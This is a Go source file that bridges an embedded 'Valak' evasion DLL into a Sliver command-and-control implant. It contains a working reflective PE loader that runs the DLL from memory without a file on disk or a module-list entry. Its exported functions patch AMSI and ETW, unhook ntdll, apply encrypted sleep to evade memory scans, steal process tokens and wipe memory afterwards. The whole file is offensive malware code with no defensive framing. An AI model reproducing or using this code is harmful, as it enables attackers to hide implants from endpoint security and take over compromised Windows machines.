//go:build evasion && windows

// Go bridge for Valak evasion DLL. Reflectively loads the embedded DLL,
// resolves exports, provides Go API for Sliver implant integration.
package valak

import (
	"encoding/binary"
	"fmt"
	"syscall"
	"time"
	"unsafe"

	"golang.org/x/sys/windows"
)

var (
	dllBase        uintptr
	dllLoaded      bool
	procInit       uintptr
	procSleep      uintptr
	procPatchETW   uintptr
	procPatchAMSI  uintptr
	procUnhookNtdll uintptr
	procStomp      uintptr
	procIsRelocated uintptr
	procInitText   uintptr
	procUnpatchAMSI uintptr
	procUnpatchETW  uintptr
	procWipeMemory  uintptr
	procStealToken  uintptr
	procRev2self    uintptr

	valakSize       uintptr
)

const (
	memCommit       = 0x00001000
	memReserve      = 0x00002000
	pageReadwrite   = 0x04
	pageExecuteRead = 0x20
	pageExecReadwrite = 0x40
	dllProcessAttach = 1

	imageDosSignature = 0x5A4D
	imageNTSignature  = 0x00004550
)

type imageDOSHeader struct {
	E_magic  uint16
	_        [58]byte
	E_lfanew uint32
}

type imageFileHeader struct {
	_                    [2]byte
	NumberOfSections     uint16
	_                    [12]byte
	SizeOfOptionalHeader uint16
	_                    [2]byte
}

type imageDataDirectory struct {
	VirtualAddress uint32
	Size           uint32
}

type imageOptionalHeader64 struct {
	_                   [16]byte
	AddressOfEntryPoint uint32
	BaseOfCode          uint32
	ImageBase           uint64
	SectionAlignment    uint32
	FileAlignment       uint32
	_                   [16]byte
	SizeOfImage         uint32
	SizeOfHeaders       uint32
	_                   [48]byte
	DataDirectory       [16]imageDataDirectory
}

type imageNTHeaders64 struct {
	Signature      uint32
	FileHeader     imageFileHeader
	OptionalHeader imageOptionalHeader64
}

type imageSectionHeader struct {
	Name                 [8]byte
	VirtualSize          uint32
	VirtualAddress       uint32
	SizeOfRawData        uint32
	PointerToRawData     uint32
	PointerToRelocations uint32
	PointerToLinenumbers uint32
	NumberOfRelocations  uint16
	NumberOfLinenumbers  uint16
	Characteristics      uint32
}

type imageExportDirectory struct {
	_                     [12]byte
	_                     [4]byte
	_                     [4]byte
	NumberOfFunctions     uint32
	NumberOfNames         uint32
	AddressOfFunctions    uint32
	AddressOfNames        uint32
	AddressOfNameOrdinals uint32
}

// loadDLL reflectively loads the embedded valak.dll. No file on disk, no
// LoadLibrary callback, no PEB module list entry.
func loadDLL() error {
	data := embeddedDLL
	if len(data) == 0 {
		return fmt.Errorf("no embedded DLL")
	}

	dosHeader := (*imageDOSHeader)(unsafe.Pointer(&data[0]))
	if dosHeader.E_magic != imageDosSignature {
		return fmt.Errorf("invalid DOS header")
	}

	ntOffset := dosHeader.E_lfanew
	ntHeader := (*imageNTHeaders64)(unsafe.Pointer(&data[ntOffset]))
	if ntHeader.Signature != imageNTSignature {
		return fmt.Errorf("invalid NT header")
	}

	imageBase := ntHeader.OptionalHeader.ImageBase
	sizeOfImage := uintptr(ntHeader.OptionalHeader.SizeOfImage)
	sizeOfHeaders := uintptr(ntHeader.OptionalHeader.SizeOfHeaders)

	base, err := windows.VirtualAlloc(0, sizeOfImage, memReserve|memCommit, pageReadwrite)
	if err != nil {
		return fmt.Errorf("VirtualAlloc: %w", err)
	}
	dllBase = base
	valakSize = sizeOfImage

	copy(unsafe.Slice((*byte)(unsafe.Pointer(base)), sizeOfHeaders), data[:sizeOfHeaders])

	sectionOffset := ntOffset + 4 + 20 + uint32(ntHeader.FileHeader.SizeOfOptionalHeader)
	sections := unsafe.Slice((*imageSectionHeader)(unsafe.Pointer(&data[sectionOffset])), ntHeader.FileHeader.NumberOfSections)
	for i := range sections {
		sec := &sections[i]
		if sec.SizeOfRawData == 0 {
			continue
		}
		dst := base + uintptr(sec.VirtualAddress)
		if dst < base || dst+uintptr(sec.SizeOfRawData) > base+sizeOfImage {
			continue
		}
		srcOff := uintptr(sec.PointerToRawData)
		if srcOff+uintptr(sec.SizeOfRawData) > uintptr(len(data)) {
			continue
		}
		copy(
			unsafe.Slice((*byte)(unsafe.Pointer(dst)), sec.SizeOfRawData),
			unsafe.Slice((*byte)(unsafe.Pointer(&data[sec.PointerToRawData])), sec.SizeOfRawData),
		)
	}

	delta := int64(base) - int64(imageBase)
	if delta != 0 {
		applyRelocations(data, base, delta, ntHeader)
	}

	resolveImports(data, base, ntHeader)

	for i := range sections {
		sec := &sections[i]
		if sec.VirtualAddress == 0 {
			continue
		}
		addr := base + uintptr(sec.VirtualAddress)
		prot := sectionProtect(sec.Characteristics)
		var old uint32
		windows.VirtualProtect(addr, uintptr(sec.VirtualSize), prot, &old)
	}

	resolveExports(data, base, ntHeader)

	entry := base + uintptr(ntHeader.OptionalHeader.AddressOfEntryPoint)
	if entry != base {
		syscall.SyscallN(uintptr(entry), base, uintptr(dllProcessAttach), 0)
	}

	if procInit != 0 {
		syscall.SyscallN(procInit)
	}

	dllLoaded = true
	return nil
}

func sectionProtect(chars uint32) uint32 {
	switch {
	case chars&0x20000000 != 0 && chars&0x80000000 != 0:
		return pageExecReadwrite
	case chars&0x20000000 != 0:
		return pageExecuteRead
	default:
		return pageReadwrite
	}
}

func applyRelocations(_ []byte, base uintptr, delta int64, ntHeader *imageNTHeaders64) {
	relocDir := ntHeader.OptionalHeader.DataDirectory[5]
	if relocDir.VirtualAddress == 0 || relocDir.Size == 0 {
		return
	}
	relocData := unsafe.Slice((*byte)(unsafe.Pointer(base+uintptr(relocDir.VirtualAddress))), relocDir.Size)
	off := uintptr(0)
	for off < uintptr(relocDir.Size) {
		blockVA := binary.LittleEndian.Uint32(relocData[off:])
		blockSize := binary.LittleEndian.Uint32(relocData[off+4:])
		if blockSize == 0 {
			break
		}
		entries := (blockSize - 8) / 2
		for e := uint32(0); e < entries; e++ {
			entryOff := off + 8 + uintptr(e*2)
			entry := binary.LittleEndian.Uint16(relocData[entryOff:])
			relocType := entry >> 12
			relocOff := entry & 0xFFF
			if relocType == 0 {
				continue
			}
			addr := unsafe.Pointer(base + uintptr(blockVA) + uintptr(relocOff))
			if relocType == 10 {
				val := (*uint64)(addr)
				*val = uint64(int64(*val) + delta)
			}
		}
		off += uintptr(blockSize)
	}
}

func resolveExports(_ []byte, base uintptr, ntHeader *imageNTHeaders64) {
	exportDir := ntHeader.OptionalHeader.DataDirectory[0]
	if exportDir.VirtualAddress == 0 || exportDir.Size == 0 {
		return
	}
	exp := (*imageExportDirectory)(unsafe.Pointer(base + uintptr(exportDir.VirtualAddress)))
	names := unsafe.Slice((*uint32)(unsafe.Pointer(base+uintptr(exp.AddressOfNames))), exp.NumberOfNames)
	funcs := unsafe.Slice((*uint32)(unsafe.Pointer(base+uintptr(exp.AddressOfFunctions))), exp.NumberOfFunctions)
	ords := unsafe.Slice((*uint16)(unsafe.Pointer(base+uintptr(exp.AddressOfNameOrdinals))), exp.NumberOfNames)

	lookup := func(name string) uintptr {
		for i := uint32(0); i < exp.NumberOfNames; i++ {
			fnName := goString(base + uintptr(names[i]))
			if fnName == name {
				if uint32(ords[i]) < exp.NumberOfFunctions {
					return base + uintptr(funcs[ords[i]])
				}
			}
		}
		return 0
	}

	procInit = lookup("init_evasion")
	procSleep = lookup("evasion_sleep")
	procPatchETW = lookup("patch_etw")
	procPatchAMSI = lookup("patch_amsi")
	procUnhookNtdll = lookup("unhook_ntdll")
	procStomp = lookup("stomp_evasion")
	procIsRelocated = lookup("is_relocated")
	procInitText = lookup("init_text_region")
	procUnpatchAMSI = lookup("unpatch_amsi")
	procUnpatchETW = lookup("unpatch_etw")
	procWipeMemory = lookup("wipe_memory")
	procStealToken = lookup("steal_token")
	procRev2self = lookup("rev2self")
}

type imageImportDescriptor struct {
	OriginalFirstThunk uint32
	_                  uint32
	_                  uint32
	Name               uint32
	FirstThunk         uint32
}

func resolveImports(_ []byte, base uintptr, ntHeader *imageNTHeaders64) {
	importDir := ntHeader.OptionalHeader.DataDirectory[1]
	if importDir.VirtualAddress == 0 || importDir.Size == 0 {
		return
	}
	modKernel32 := windows.NewLazySystemDLL("kernel32.dll")
	procLoadLibrary := modKernel32.NewProc("LoadLibraryA")
	procGetModuleHandleA := modKernel32.NewProc("GetModuleHandleA")
	procGetProcAddress := modKernel32.NewProc("GetProcAddress")

	desc := (*imageImportDescriptor)(unsafe.Pointer(base + uintptr(importDir.VirtualAddress)))
	descSize := uintptr(unsafe.Sizeof(*desc))
	for desc.Name != 0 {
		dllName := goString(base + uintptr(desc.Name))
		hMod, _, _ := procGetModuleHandleA.Call(uintptr(unsafe.Pointer(unsafe.StringData(dllName))))
		if hMod == 0 {
			hMod, _, _ = procLoadLibrary.Call(uintptr(unsafe.Pointer(unsafe.StringData(dllName))))
		}
		if hMod == 0 {
			desc = (*imageImportDescriptor)(unsafe.Pointer(uintptr(unsafe.Pointer(desc)) + descSize))
			continue
		}
		thunkRVA := desc.OriginalFirstThunk
		if thunkRVA == 0 {
			thunkRVA = desc.FirstThunk
		}
		thunk := (*uint64)(unsafe.Pointer(base + uintptr(thunkRVA)))
		iat := (*uint64)(unsafe.Pointer(base + uintptr(desc.FirstThunk)))
		step := uintptr(8)
		for *thunk != 0 {
			var fnAddr uintptr
			if *thunk&(1<<63) != 0 {
				ordinal := uintptr(*thunk & 0xFFFF)
				fnAddr, _, _ = procGetProcAddress.Call(hMod, ordinal)
			} else {
				nameRVA := uint32(*thunk & 0x7FFFFFFF)
				fnName := goString(base + uintptr(nameRVA) + 2)
				fnAddr, _, _ = procGetProcAddress.Call(hMod, uintptr(unsafe.Pointer(unsafe.StringData(fnName))))
			}
			*iat = uint64(fnAddr)
			thunk = (*uint64)(unsafe.Pointer(uintptr(unsafe.Pointer(thunk)) + step))
			iat = (*uint64)(unsafe.Pointer(uintptr(unsafe.Pointer(iat)) + step))
		}
		desc = (*imageImportDescriptor)(unsafe.Pointer(uintptr(unsafe.Pointer(desc)) + descSize))
	}
}

// goString reads a null-terminated ASCII string from the DLL's mapped memory.
// Reads one byte at a time to avoid page-boundary overread.
func goString(addr uintptr) string {
	var b [256]byte
	for i := range b {
		c := *(*byte)(unsafe.Pointer(addr + uintptr(i)))
		if c == 0 {
			return string(b[:i])
		}
		b[i] = c
	}
	return string(b[:])
}

// ---- Public API ----

// Start loads the DLL and patches AMSI/ETW. Call once at implant init.
func Start() { go loadDLL() }

// EvasionSleep replaces time.Sleep with ChaCha20-encrypted sleep and synthetic callstack frames.
func EvasionSleep(d time.Duration) {
	ms := uint32(d.Milliseconds())
	if dllLoaded && procSleep != 0 {
		syscall.SyscallN(procSleep, uintptr(ms))
		return
	}
	time.Sleep(d) // fallback
}

// InitText tells the DLL where our Go implant's .text lives for encrypted sleep.
func InitText() {
	if dllLoaded && procInitText != 0 {
		if base, size := findOwnTextSection(); size > 0 {
			syscall.SyscallN(procInitText, base, size)
		}
	}
}

// PatchAll runs the full evasion init: stomp, unhook, ETW, AMSI.
// Call after the DLL finishes loading.
func PatchAll() {
	if !dllLoaded {
		return
	}
	if procStomp != 0 {
		syscall.SyscallN(procStomp, dllBase)
		if procIsRelocated != 0 {
			_, _, _ = syscall.SyscallN(procIsRelocated)
		}
	}
	if procUnhookNtdll != 0 {
		syscall.SyscallN(procUnhookNtdll)
	}
	if procPatchETW != 0 {
		syscall.SyscallN(procPatchETW)
	}
	if procPatchAMSI != 0 {
		syscall.SyscallN(procPatchAMSI)
	}
	InitText()
}

// Bootstrap loads the DLL, patches evasion, inits text encryption, and does
// an immediate encrypted sleep to clear the post-load memory scan window.
// Blocks until DLL is ready or 10s timeout. Call once at Sliver implant start.
func Bootstrap() {
	go loadDLL()
	for i := 0; i < 100; i++ {
		if dllLoaded {
			break
		}
		time.Sleep(100 * time.Millisecond)
	}
	if !dllLoaded {
		return
	}
	PatchAll()
	// encrypt .text immediately to clear post-load scan window
	// Without this, the implant's .text is unencrypted for the first beacon interval.
	if procSleep != 0 {
		syscall.SyscallN(procSleep, uintptr(2000))
	}
}

func StealToken(pid uint32) bool {
	if procStealToken == 0 {
		return false
	}
	r, _, _ := syscall.SyscallN(procStealToken, uintptr(pid))
	return r != 0
}

func Rev2self() bool {
	if procRev2self == 0 {
		return false
	}
	r, _, _ := syscall.SyscallN(procRev2self)
	return r != 0
}

// Cleanup undoes patches and zeros DLL memory.
func Cleanup() {
	if !dllLoaded {
		return
	}
	if procUnpatchAMSI != 0 {
		syscall.SyscallN(procUnpatchAMSI)
	}
	if procUnpatchETW != 0 {
		syscall.SyscallN(procUnpatchETW)
	}
	if procWipeMemory != 0 && dllBase != 0 {
		syscall.SyscallN(procWipeMemory, dllBase, valakSize)
	}
}

// findOwnTextSection walks the main executable's PE headers to find .text bounds.
func findOwnTextSection() (uintptr, uintptr) {
	procGMH := windows.NewLazySystemDLL("kernel32.dll").NewProc("GetModuleHandleW")
	base, _, _ := procGMH.Call(0)
	if base == 0 {
		return 0, 0
	}
	dos := (*imageDOSHeader)(unsafe.Pointer(base))
	if dos.E_magic != imageDosSignature {
		return 0, 0
	}
	nt := (*imageNTHeaders64)(unsafe.Pointer(base + uintptr(dos.E_lfanew)))
	if nt.Signature != imageNTSignature {
		return 0, 0
	}
	sectionOffset := dos.E_lfanew + 4 + 20 + uint32(nt.FileHeader.SizeOfOptionalHeader)
	for i := uint16(0); i < nt.FileHeader.NumberOfSections; i++ {
		sec := (*imageSectionHeader)(unsafe.Pointer(base + uintptr(sectionOffset) + uintptr(i)*40))
		if sec.Name[0] == '.' && sec.Name[1] == 't' && sec.Name[2] == 'e' && sec.Name[3] == 'x' && sec.Name[4] == 't' && sec.Name[5] == 0 {
			return base + uintptr(sec.VirtualAddress), uintptr(sec.VirtualSize)
		}
	}
	return 0, 0
}